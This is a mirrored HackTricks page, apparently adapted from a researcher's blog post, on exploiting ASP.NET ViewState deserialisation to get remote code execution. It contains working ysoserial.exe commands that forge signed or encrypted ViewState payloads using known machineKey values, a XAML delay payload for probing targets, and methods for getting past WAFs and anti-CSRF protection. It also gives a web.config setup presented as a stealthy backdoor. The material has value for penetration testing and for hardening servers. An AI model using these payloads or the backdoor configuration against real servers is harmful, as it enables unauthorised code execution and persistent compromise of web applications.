mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
252 lines
19 KiB
Markdown
252 lines
19 KiB
Markdown
|
# Exploiting \_\_VIEWSTATE knowing the secret
|
|||
|
|
|||
|
**The content of this post was extracted from** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)\*\*\*\*
|
|||
|
|
|||
|
## Introduction
|
|||
|
|
|||
|
ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form.
|
|||
|
|
|||
|
It is normally possible to **run code on a web server where a valid ViewState can be forged**. This can be done when the **MAC validation** feature has been **disabled** or by knowing the:
|
|||
|
|
|||
|
* **Validation key and its algorithm** **prior** to .NET Framework version **4.5**
|
|||
|
* **Validation key, validation algorithm, decryption key, and decryption algorithm** in .NET Framework version 4.5 or above
|
|||
|
|
|||
|
In order to prevent manipulation attacks, .NET Framework can **sign and encrypt** the ViewState that has been serialised using the `LosFormatter` class. It then verifies the signature using the message authentication code \(MAC\) validation mechanism. The `ObjectStateFormatter` class performs the signing, encryption, and verification tasks. The **keys required to perform the signing and/or encryption** mechanism can be stored in the `machineKey` section of the **`web.config`** \(application level\) or **`machine.config`** \(machine level\) files. This is normally the case when multiple web servers are used to serve the same application often behind a load balancer in a Web Farm or cluster. The following shows the `machineKey` section’s format in a configuration file of an ASP.NET application that uses .NET Framework version 2.0 or above:
|
|||
|
|
|||
|
```markup
|
|||
|
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
|||
|
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
|||
|
```
|
|||
|
|
|||
|
It should be noted that when a `machineKey` section has not been defined within the configuration files or when the `validationKey` and `decryptionKey` attributes have been set to `AutoGenerate`, the **application generates the required values dynamically** based on a cryptographically random secret. The algorithms can also be selected automatically. Currently in the latest version of .NET Framework, the default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`. See [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) for more details.
|
|||
|
|
|||
|
## RCE with disabled ViewState MAC Validation
|
|||
|
|
|||
|
In the past, it was possible to **disable the MAC validation** simply by setting the `enableViewStateMac` property to `False`. Microsoft released a patch in September 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) to enforce the MAC validation by ignoring this property in all versions of .NET Framework. Although some of us might believe that “_the ViewState MAC can no longer be disabled_” [\[4\]](https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET), it is s**till possible to disable the MAC validation feature by setting** the `AspNetEnforceViewStateMac` registry key to zero in:
|
|||
|
|
|||
|
```text
|
|||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
|||
|
```
|
|||
|
|
|||
|
Alternatively, adding the following **dangerous setting** to the application level `web.config` file can disable the MAC validation as well:
|
|||
|
|
|||
|
```markup
|
|||
|
<configuration>
|
|||
|
…
|
|||
|
<appSettings>
|
|||
|
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
|||
|
</appSettings>
|
|||
|
</configuration>
|
|||
|
```
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
When ViewState MAC validation has been **disabled**, the [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) project can be used to generate `LosFormatter` payloads as the ViewState in order to run arbitrary code on the server.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
**Prior** to the .NET Framework version **4.5**, the `__VIEWSTATE` parameter could be **encrypted whilst the MAC validation feature was disabled**. It should be noted that **most** **scanners** **do not attempt** to send an unencrypted ViewState parameter to identify this vulnerability. As a result, **manual** **testing** is required to check whether the MAC validation is disabled when the `__VIEWSTATE` parameter has been encrypted. This can be checked by sending a short random base64 string in the `__VIEWSTATE` parameter. The following URL shows an example:
|
|||
|
|
|||
|
```text
|
|||
|
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
|||
|
```
|
|||
|
|
|||
|
If the target page **responds with an error, the MAC validation feature has been disabled** otherwise it would have suppressed the MAC validation error message.
|
|||
|
However, in scenarios where you cannot see the error message this trick won't work.
|
|||
|
|
|||
|
Automated scanners should use a **payload that causes a short delay** on the server-side. This can be achieved by executing the following ASP.NET code as an example to create a 10-second delay:
|
|||
|
|
|||
|
```text
|
|||
|
System.Threading.Thread.Sleep(10000);
|
|||
|
```
|
|||
|
|
|||
|
```bash
|
|||
|
string xaml_payload = @"<ResourceDictionary
|
|||
|
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
|||
|
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
|||
|
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
|||
|
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
|||
|
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
|||
|
<ObjectDataProvider.MethodParameters>
|
|||
|
<System:Int32>10000</System:Int32>
|
|||
|
</ObjectDataProvider.MethodParameters>
|
|||
|
</ObjectDataProvider>
|
|||
|
</ResourceDictionary>";
|
|||
|
```
|
|||
|
|
|||
|
## RCE with enabled ViewState MAC Validation
|
|||
|
|
|||
|
In older versions \(**prior to 4.5**\), .NET Framework uses the **`TemplateSourceDirectory`** property [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) when **signing** a serialised object. **Since** version **4.5** however, it uses the **`Purpose`** strings in order to create the hash. Both of these mechanisms **require the target path from the root of the application directory** and the **page name**. These parameters can be **extracted from the URL**.
|
|||
|
|
|||
|
Applications that use an **older framework** and enforce ViewState encryption can **still accept a signed ViewState without encryption**. This means that **knowing the validation key and its algorithm is enough** to exploit a website. It seems ViewState is encrypted by default **since version 4.5** even when the `viewStateEncryptionMode` property has been set to `Never`. This means that in the latest .NET Framework versions the **decryption key and its algorithm are also required** in order to create a payload.
|
|||
|
|
|||
|
The ASP.NET ViewState contains a property called `ViewStateUserKey` [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969%28v=msdn.10%29) that can be used to mitigate risks of cross-site request forgery \(CSRF\) attacks [\[4\]](https://www.owasp.org/index.php/Anti_CSRF_Tokens_ASP.NET). Value of the **`ViewStateUserKey`** property \(when it is not `null`**\) is also used during the ViewState signing** process. Although not knowing the value of this parameter can stop our attack, **its value can often be found in the cookies or in a hidden input** parameter \([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) shows an implemented example\).
|
|||
|
|
|||
|
### ViewState YSoSerial.Net plugins
|
|||
|
|
|||
|
In YSoSerial.Net master and YSoSerial.Netv2 you can find a plugin \([**this**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) and [**this**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)\) to exploit this technique when all the information is known.
|
|||
|
|
|||
|
#### **For .NET Framework >= 4.5:**
|
|||
|
|
|||
|
```bash
|
|||
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
|||
|
```
|
|||
|
|
|||
|
#### **For .NET Framework <= 4.0 \(legacy\):**
|
|||
|
|
|||
|
_The decryptionKey and its algorithm are not required here:_
|
|||
|
|
|||
|
```bash
|
|||
|
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
|||
|
```
|
|||
|
|
|||
|
_Apart from using different gadgets, it is possible to use the `__VIEWSTATEGENERATOR` parameter **instead of providing the paths**:_
|
|||
|
|
|||
|
```bash
|
|||
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
|||
|
```
|
|||
|
|
|||
|
_It uses the ActivitySurrogateSelector gadget by default that requires compiling the ExploitClass.cs class in YSoSerial.Net project. The ViewState payload can also be **encrypted** **to avoid WAFs when the decryptionKey value is known**:_
|
|||
|
|
|||
|
```bash
|
|||
|
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
|||
|
```
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
**Note:** Due to the nature of used gadgets in YSoSerial.Net, the target ASP.NET page always responds with an error even when an exploit has been executed successfully on the server-side.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
#### Application path
|
|||
|
|
|||
|
it is important to find the root of the application path in order to create a valid ViewState unless:
|
|||
|
|
|||
|
* The application uses .NET Framework version 4.0 or below; and
|
|||
|
* The `__VIEWSTATEGENERATOR` parameter is known.
|
|||
|
|
|||
|
The following screenshot shows the path tree in IIS:
|
|||
|
|
|||
|
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
|
|||
|
|
|||
|
You can check [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) if you are not familiar with virtual directory and application terms in IIS.
|
|||
|
|
|||
|
In order to generate a ViewState for the above URL, the `--path` and `--apppath` arguments should be as follows:
|
|||
|
|
|||
|
```text
|
|||
|
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
|||
|
--apppath=/app2/
|
|||
|
```
|
|||
|
|
|||
|
If we did not know that “app2” was an application name, we could use **trial and error to test all the directory names** in the URL one by one until finding a ViewState that can execute code on the server \(perhaps by getting a DNS request or causing a delay\).
|
|||
|
|
|||
|
#### Generator
|
|||
|
|
|||
|
In this case, the `--generator` argument can be used. The `--isdebug` argument can be used to check whether the plugin also calculates the same `__VIEWSTATEGENERATOR` parameter when the `--path` and `--apppath` arguments have been provided.
|
|||
|
|
|||
|
### Exploiting Older Versions
|
|||
|
|
|||
|
No gadget was identified to exploit .NET Framework v1.1 at the time of writing this blog post.
|
|||
|
|
|||
|
In order to exploit applications that use .NET Framework v4.0 or below, the YSoSerial.Net v2.0 branch [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) can be used \(this was originally developed as part of another research [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)\). However, this project only supports a limited number of gadgets, and also requires the target box to have .NET Framework 3.5 or above installed.
|
|||
|
|
|||
|
### **Other tools**
|
|||
|
|
|||
|
It seems Immunity Canvas supports creating the ViewState parameter when the validation and encryption keys are known [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761). The following tools were also released coincidentally at the same time as I was about to publish my work which was quite surprising:
|
|||
|
|
|||
|
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) \(written in Python\)
|
|||
|
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) \(written in .NET\)
|
|||
|
|
|||
|
I think these tools currently **do not differentiate between different versions of .NET** Framework and target the legacy cryptography. Additionally, they **do not use the `ViewStateUserKey`** parameter that might be in use to stop CSRF attacks.
|
|||
|
|
|||
|
## Additional Tips
|
|||
|
|
|||
|
### **Using GET requests**
|
|||
|
|
|||
|
It is also possible to send the `__VIEWSTATE` parameter in the URL via a GET request. The only limiting factor is the URL length that limits the type of gadgets that can be used here.
|
|||
|
|
|||
|
### **Encryption in .NET Framework prior to version 4.5**
|
|||
|
|
|||
|
As mentioned previously, the `__VIEWSTATE` parameter does not need to be encrypted when exploiting .NET Framework 4.0 and below \(tested on v2.0 through v4.0\) even when the `ViewStateEncryptionMode` property has been set to `Always`. ASP.NET decides whether or not the ViewState has been encrypted by finding the `__VIEWSTATEENCRYPTED` parameter in the request \(it does not need to have any value\). Therefore, it is possible to send an unencrypted ViewStated by removing the `__VIEWSTATEENCRYPTED` parameter from the request.
|
|||
|
|
|||
|
This also means that changing the decryption key or its algorithm cannot stop the attacks when the validation key and its algorithm have been stolen.
|
|||
|
|
|||
|
The `__VIEWSTATE` parameter can be encrypted in order to bypass any WAFs though.
|
|||
|
|
|||
|
### **Bypassing anti-CSRF \(anti-XSRF\) mechanism**
|
|||
|
|
|||
|
An ASP.NET page produces an error when an invalid `__VIEWSTATE` parameter is used. However, the page can still receive its inputs when `Request.Form` is used directly in the code for example by using `Request.Form["txtMyInput"]` rather than `txtMyInput.Text`. **The CSRF attack can be achieved by removing the `__VIEWSTATE` parameter from the request or by adding the `__PREVIOUSPAGE` parameter with an invalid value**. As the `__PREVIOUSPAGE` parameter is encrypted and base64 formatted by default, even providing a single character as its value should cause an error.
|
|||
|
|
|||
|
This might result in bypassing the anti-CSRF protection mechanism that has been implemented by setting the `Page.ViewStateUserKey` parameter.
|
|||
|
|
|||
|
### **Usage of the ViewStateGenerator parameter**
|
|||
|
|
|||
|
When the `__VIEWSTATEGENERATOR` parameter is known, it can be used for the ASP.NET applications that use .NET Framework version 4.0 or below in order to sign a serialised object without knowing the application path.
|
|||
|
|
|||
|
### **ViewState chunking to bypass WAFs**
|
|||
|
|
|||
|
It is possible to break the `__VIEWSTATE` parameter into multiple parts when the **`MaxPageStateFieldLength`** property has been set to a **positive** **value**. Its **default** value is **negative** and it means that the **`__VIEWSTATE`** parameter **cannot be broken into multiple parts**.
|
|||
|
|
|||
|
This might be useful to bypass some WAFs when ViewState chunking is allowed.
|
|||
|
|
|||
|
### **Exploiting the EventValidation parameter**
|
|||
|
|
|||
|
The `__EVENTVALIDATION` parameter and a few other parameters are also serialised similar to the `__VIEWSTATE` parameter and can be targeted similarly. Exploiting a deserialisation issue via `__EVENTVALIDATION` is more restricted and requires:
|
|||
|
|
|||
|
* A POST request
|
|||
|
* An ASP.NET page that accepts input parameters
|
|||
|
* A valid input parameter name. For example, the `myinput` parameter in the POST request when we have the following code on the server-side:
|
|||
|
|
|||
|
```markup
|
|||
|
<asp:TextBox runat="server" ID="myinput" />
|
|||
|
```
|
|||
|
|
|||
|
Value of the `__VIEWSTATE` parameter can be empty in the request when exploiting the `__EVENTVALIDATION` parameter but it needs to exist.
|
|||
|
|
|||
|
The `Purpose` string that is used by .NET Framework 4.5 and above to create a valid signature is different based on the used parameter. The following table shows the defined `Purpose` strings in .NET Framework:
|
|||
|
|
|||
|
| **Input Parameter** | **Purpose String** |
|
|||
|
| :--- | :--- |
|
|||
|
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
|||
|
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
|||
|
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
|||
|
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
|||
|
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
|||
|
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
|||
|
|
|||
|
The table above shows all input parameters that could be targeted.
|
|||
|
|
|||
|
### **Beware of the PreviousPage parameter**
|
|||
|
|
|||
|
When the **`__PREVIOUSPAGE`** parameter exists in the request with **invalid** data, the **application** **does** **not** **deserialise** the **`__VIEWSTATE`** parameter. Providing the `__CALLBACKID` parameter prevents this behaviour.
|
|||
|
|
|||
|
### **Errors reliability**
|
|||
|
|
|||
|
As explained previously, we sometimes use errors to check whether a generated ViewState is valid. ASP.NET does not show the MAC validation error by default when an invalid `__VIEWSTATEGENERATOR` parameter is used. This behaviour changes when the `ViewStateUserKey` property is used, as ASP.NET will not suppress the MAC validation errors anymore.
|
|||
|
|
|||
|
In addition to this, ASP.NET web applications can ignore the MAC validation errors with the following setting even when the `ViewStateUserKey` property is used:
|
|||
|
|
|||
|
```markup
|
|||
|
<appSettings>
|
|||
|
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
|||
|
</appSettings>
|
|||
|
```
|
|||
|
|
|||
|
## Web.config as a backdoor
|
|||
|
|
|||
|
If attackers can **change** the **`web.config`** within the root of an application, they can **easily run code** on the server. However, embedding a stealthy backdoor on the application might be a good choice for an attacker. This can be done by **disabling the MAC validation** and setting the `viewStateEncryptionMode` property to `Always`. This means that all ASP.NET pages that do not set the `ViewStateEncryptionMode` property to `Auto` or `Never` always use encrypted ViewState parameters. However, as the **ViewState do not use the MAC validation feature, they are now vulnerable to remote code execution via deserialising untrusted data**. The following shows an example:
|
|||
|
|
|||
|
```markup
|
|||
|
<configuration>
|
|||
|
…
|
|||
|
<system.web>
|
|||
|
…
|
|||
|
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
|||
|
</system.web>
|
|||
|
<appSettings>
|
|||
|
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
|||
|
</appSettings>
|
|||
|
</configuration>
|
|||
|
```
|
|||
|
|
|||
|
Another option for a stand-alone website would be to set the `machineKey` section with arbitrary keys and algorithms to stop other attackers!
|
|||
|
|
|||
|
It should be noted that setting the `EnableViewState` property to `False` does not stop this attack as the ViewState will still be parsed by ASP.NET.
|
|||
|
|